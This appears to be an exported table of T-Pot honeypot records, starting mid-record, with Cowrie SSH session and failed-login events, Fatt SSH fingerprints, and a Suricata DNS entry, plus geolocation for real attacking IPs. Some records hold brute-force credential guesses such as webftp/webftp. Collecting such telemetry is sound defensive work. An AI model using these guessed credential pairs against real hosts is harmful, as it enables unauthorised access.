"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33018, "dest_port": 22, "timestamp": "2021-09-20T11:09:59.400204", "@timestamp": "2021-09-20T11:09:59.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25494	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:10:09.438185+03	2021-09-20 14:15:10.212471+03	{"_id": "sAbmAnwBvYTbRNuEJhrv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 43758, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2037, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1116725522311352, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60681, "timestamp": "2021-09-20T11:10:09.438185Z", "@timestamp": "2021-09-20T11:10:09.438Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25495	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:00.255168+03	2021-09-20 14:15:10.213471+03	{"_id": "pQbmAnwBvYTbRNuEARqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [pss/pss16] failed", "session": "c1e26292d73f", "@version": "1", "password": "pss16", "username": "pss", "timestamp": "2021-09-20T11:10:00.255168Z", "@timestamp": "2021-09-20T11:10:00.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25496	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:10:00.371394+03	2021-09-20 14:15:10.21547+03	{"_id": "pAbmAnwBvYTbRNuEARqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "3f50ff817701", "@version": "1", "duration": 1.8192598819732666, "timestamp": "2021-09-20T11:10:00.371394Z", "@timestamp": "2021-09-20T11:10:00.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25497	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:01.536296+03	2021-09-20 14:15:10.21647+03	{"_id": "pwbmAnwBvYTbRNuECRpR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c1e26292d73f", "@version": "1", "duration": 2.4318764209747314, "timestamp": "2021-09-20T11:10:01.536296Z", "@timestamp": "2021-09-20T11:10:01.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25498	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:59.538076+03	2021-09-20 14:15:10.21747+03	{"_id": "owbmAnwBvYTbRNuEARqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "cd6d8aabb211", "@version": "1", "duration": 6.288393974304199, "timestamp": "2021-09-20T11:09:59.538076Z", "@timestamp": "2021-09-20T11:09:59.538Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25503	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:34.637636+03	2021-09-20 14:15:10.224471+03	{"_id": "qAbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58994 (192.168.176.2:22) [session: 69d30a142afc]", "session": "69d30a142afc", "@version": "1", "protocol": "ssh", "src_port": 58994, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.637636Z", "@timestamp": "2021-09-20T11:10:34.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25499	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:34.410334+03	2021-09-20 14:15:10.218471+03	{"_id": "pwbmAnwBvYTbRNuEiRvG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53362, "timestamp": "2021-09-20T11:10:34.410334", "@timestamp": "2021-09-20T11:10:34.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25500	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:34.941584+03	2021-09-20 14:15:10.220471+03	{"_id": "pQbmAnwBvYTbRNuEiRu-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58994, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.941584", "@timestamp": "2021-09-20T11:10:34.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25501	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:34.639978+03	2021-09-20 14:15:10.22147+03	{"_id": "pAbmAnwBvYTbRNuEiRu9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58994, "timestamp": "2021-09-20T11:10:34.639978", "@timestamp": "2021-09-20T11:10:34.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25502	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:10:34.417275+03	2021-09-20 14:15:10.22247+03	{"_id": "pgbmAnwBvYTbRNuEiRu-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53362, "dest_port": 22, "timestamp": "2021-09-20T11:10:34.417275", "@timestamp": "2021-09-20T11:10:34.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25510	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:10:35.293246+03	2021-09-20 14:15:10.23547+03	{"_id": "tQbmAnwBvYTbRNuEihtn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [webftp/webftp] failed", "session": "321dd6faebd3", "@version": "1", "password": "webftp", "username": "webftp", "timestamp": "2021-09-20T11:10:35.293246Z", "@timestamp": "2021-09-20T11:10:35.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
